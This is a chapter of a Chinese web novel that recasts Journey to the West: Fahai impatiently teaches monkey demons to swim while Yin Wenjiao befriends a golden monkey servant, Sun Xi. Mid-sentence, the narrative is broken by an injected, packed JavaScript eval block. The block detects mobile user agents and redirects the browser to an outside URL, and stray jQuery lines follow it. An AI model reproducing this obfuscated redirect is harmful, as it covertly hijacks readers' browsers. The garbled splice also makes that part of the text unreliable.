翌日,巳时,山洞外。
“四大健将拜过仙姑。”
赤尻马猴与通背猿猴带着猴群在洞外参拜,跟着他们来的猴子数量不多,细数下来不过十数只瘦猴,却是种类繁多,有马猴、猿猴、猕猴、狨猴、金丝猴等。
全部敛目垂首,没了嬉笑玩闹的个性,规规矩矩地站在四健将身后,跟随他们朝山洞拜了拜。
荆棘遮挡的山洞走出一个高大身影,赤尻马猴勾头朝他身后瞧,背后并无第二人,他不解道,“我等已准备就绪,不知仙姑何在?”
法海的余光里,石床上的睡颜恬淡,他的心跟着柔软成一团,当他再次面对四位面目狰狞的猴妖,脸上的柔和未完全消退,做了一个让猴妖噤声退后的手势。
四健将带着猴子依手势后退,法海从他们眼下走过,走出一段距离察觉那群妖猴仍然呆立,他脚步未停,口中道:“不过是教你们浮水,那里用得着仙姑亲力亲为?跟我来!”
猴群不介意教授的先生是谁,最主要是把生存的本领学到手,不挨饿,不受饥。
四健将立刻动身,蹦蹦跳跳跟上已经走远的身影,后面跟着一溜儿的猴儿,独独留下一只中等个头的小猴子。
法海回头看了一眼,通背猿猴上前解释道:“给仙姑当个解闷的侍童,方便传个口信。”
殷温娇让他尝试将这一群类人的妖猴当做邻居,那个小猴从身高来看顶多算个小孩儿,小孩儿不足为惧。
这样想来赤尻马猴说得有几分道理,但依然是扰了他与殷温娇的独处世界。
法海最终没说什么,转身继续朝海边出发,周身柔和的氛围陡然消失,取而代之的是独属于教授者的威严。
赤尻马猴从后撞上猿猴肩膀,悄声道:“你看他眼角往下拉的比我脸都要长,刚才不是好好的吗,怎么说变就变,啧,人族不如我猴族性情爽直。”
赤尻马猴的名字之所以有个马字就是因为他的脸像马一样长,屁股赤红。
“嘘!”通背猿猴捂住他的猴嘴,“莫要乱说。”
两只猴子在后面悄声嬉闹,法海装作听不见他们的对话,径直往前走,打算尽快教完,打道回府。
然而等到日上三竿,法海也没能回去。
……
山洞内,殷温娇睡饱醒来,照进洞内的日光强盛,估计时辰已不早,可山洞内一览无余,没有法海的身影。
昨日她细细讲述了自己的教授计划,法海虽然对此抱有意见,但已经不会厉声反对,略微思考后,暂时认可了她的主意,并且主动请缨,他要亲自教授猴子浮水技能。
殷温娇惊喜万分,却不知道法海心中所想的是,在不能将他们一网打尽的时候,交好是最好的选择。
总之殊途同归,两人的目标暂时达成一致。
在法海承诺不会亲自下水弄开伤口后,殷温娇当起了甩手掌柜。
正好趁此机会加深法海与妖猴的关系,别以为她没发现,法海眼中是对妖猴不加掩饰的嫌弃与不喜,她不要求他能心无芥蒂地接受猴子们,只要他对猴群稍微改观,不阻挡唐僧与猴子们的玩耍已是谢天谢地。
思绪收回,殷温娇赶紧收拾好出门,不料刚出去,门口洞顶上就传来童声,“拜见仙姑,小得孙细,奉命在此等候仙姑差遣。仙姑可还认得我?”
洞口顶上是个缓坡,坡上全是山体裸露出的岩石,表面褶皱纵横,间或有几根杂草点缀,殷温娇抬手遮阴,循声望去,半天不见人影,那声音的主人却道:“仙姑,我在这儿呢。”
童音竟然跑到了她身后,殷温娇立刻转身,看着浑身毛茸茸,金灿灿的金丝猴,笑得眼睛眯起,“我记得你,你是报信的小猴儿,原来叫孙细。”
金丝猴孙细喜得直鼓掌,“仙姑好记性,还记得俺嘞。”
他个子不大不小,比猿猴矮,比狨猴高,身手比猕猴灵活,一身金灿灿的绒毛最得女子稚儿喜欢,故而四健将留了他蹲守在洞口,给仙姑当个侍童。
殷温娇看他实在可爱,说了声“等着。”便转身哒哒哒回到洞内,孙细乖乖守在荆棘丛外,等仙姑回来就见她手中拿了根签子,签子不知是何材质,通体灰白,上面串着红彤彤躬着尾巴的海虾,足足五个。
海虾肥美,猴子鼻子灵敏,轻轻嗅闻都能闻到香喷喷的味道,孙细咽了咽口水,见仙姑把红虾递给他,他忍住馋意,推辞道不敢接受。
自海岛糟了难,他最是知道食物的珍贵,现在轻易不敢接受仙姑递过来的吃食,怕他吃了,仙姑就没有了。
“给。”殷温娇把烤炙的红虾让到他手中,“你吃吧,我吃不下了,再不吃要坏了,你帮我解决了。”
昨天,法海到底在晚上给她补了一顿海宴,除了螃蟹不能甩开了膀子吃外,其他的管够,可惜她眼大肚子小,最后剩下许多熟食法海也没能吃完,想到海岛夜晚温度接近深秋,便留着今天早上继续,这才留下了这么一串红虾。
孙细接了她的吃食,眼含泪水,一口一个,边吃便胡乱谢道,“谢谢仙姑,仙姑真是比菩萨还心善的人呢。”
殷温娇看他是又可怜,又想笑,蹲下身给他抹了把眼泪,结果小猴儿哭得更厉害了就差扑进她怀里喊娘亲。
一串红虾连壳带肉进了孙细的肚子,他拿着签子道:“仙姑真是巧思,能用石头做出这般精细的东西,我用了它,待会将它清洗干净了在还你。”
孙细是一个干净懂礼的好猴子,就该让法海来看看,消除偏见。
殷温娇掠过心头想法,摆摆手,“不用,给我吧,待会有人会洗。”
签子被收走,孙细灵活的大眼睛眨呀眨的,恍然想到:必定是那和尚在伺候仙姑。他便不再纠结于此,等仙姑放好签子出洞,他道:“仙姑现在要作甚,你交给我来做。”
“我们去海边看看教学情况吧。”殷温娇道。
想想法海带着一群猴子在大海里扑腾还挺好玩的。
孙细听罢耍着跟头上前带路,引得殷温娇大笑出声。
可真是个活宝!
海边,寂静了近五百年的沙滩,今日终于不再仅有鸟群光顾,成群的猴子在沙滩嬉戏打闹,你追我赶。
法海站在高处望着猴群贪玩嬉闹没个正形,气得脸色铁青。
半晌午过去,在他的计划里这群猴子该学习完毕早点滚回水帘洞了,实则事与愿违,二十余只猴子,满打满算学会游泳的仅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938021|188030||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有一只,一只!而且这一只仅学了个皮毛,莫说闭息、换气,就连狗刨的姿势都显得像是溺水的猴儿,法海忍不住怀疑他们是故意的。
果然还是都杀了好!
慑人的杀意一闪而过,修为浅的猴子忽觉大太阳底下有一丝凉意拂过,舒服得他们都要眯起眼睛,唯有四健将小心翼翼挤过来,道:“有耐裴郎君费心,我们猴儿实在怕水。”
这话立刻引来法海横眉冷对,通背猿猴当即笑道,“裴郎君劳累了许久,快歇歇,歇歇。咱们花果山现在没了花呀果的讨人喜欢,可我瞧着那些个贝壳五彩斑斓,甚是可爱,我叫猴儿们捡些漂亮贝壳,到时候裴郎君拿了送与仙姑岂不妙哉。”
两个赤尻马猴听了点头附和,随即长臂一挥,有猴儿上前听他命令道,“去,帮裴郎君捡些颜色好看的贝壳。”
“得令!”小猴儿回完话一个跟头翻走了,回到猴群振臂一呼,群猴响应,又是叽叽哇哇一阵闹腾。
猴子天性爱玩,现在没了生存压力,见有猴儿学会了在海中浮水的本事已是惊喜万分,往后的日子还长着呢,他们慢慢学就是了。
法海眉心一跳,稍微缓和的脸色因为猴群的叫闹猛地沉下,若他寺中弟子敢如此没个规矩,他早就,早就……他早就该怎样?
脑袋一阵钝痛,记忆里的迷雾自动消散,在他即将窥见过往的时候,一声呼叫打断了回忆,“文德,我来啦!”
法海循声抬起头,前方殷温娇跟着金丝猴踩着柔软的白沙大步跑来,沙滩是个斜坡,它倾斜的高度低,低到连小孩子跑几步路都不会摔着的程度,但看着白沙在俯冲下来的人脚后扬起,让法海一颗心提起。
四健将只觉眼前一闪,裴郎君人已经在数十米开外,抱起了仙姑,脸色完全黑沉下去,在慑人的目光下,仙姑游刃有余、笑盈盈地说了句什么,接着变戏法似的,裴郎君一下子光明了起来……
猴儿天生爱凑热闹,他们四个鬼鬼祟祟靠近,刚抬起一只脚就遭对方发现,射来欲拆解猴儿的目光,四健将立刻抓耳挠腮、东张西望,然后一溜烟地跑去带着猴子猴孙们耍去了。
“哎,他们怎么走了?”殷温娇扑腾着两条腿,埋怨道,“你看,他们都走了,你快放我下来,我也要去玩。”
显然她也忘了自个人来这儿是干嘛的,瞧着猴子们戏水打闹,追蟹刨沙,眼馋得很。她以前去海边玩最喜欢迎着海风疯跑,等跑累了就地躺下休息顺便垒个城堡,一直等到潮水退去,她捡起喜欢的贝壳带回家做成装饰,现在她家里还有着贝壳拼成的大字。
“你追不上他们,我帮你!”
没等殷温娇反应过来,法海抱着他如风一般冲向猴群,吓得猴儿们龇着牙,甩着尾巴,一哄而散。
殷温娇不知猴子在上午的教学过程中打心底憷他,还当是玩呢,她尖叫着道:“啊~好玩!再来一次。”
这场你追我逐的戏码,终于在太阳快要晒红了她的脸时终止。
殷温娇也终于想起她过来的目的,到了检验法海教学成果的时候了。
面前站成一排的猴儿并法海全部底下了头。
教学失败!
嘤~仙姑也变可怕了呢!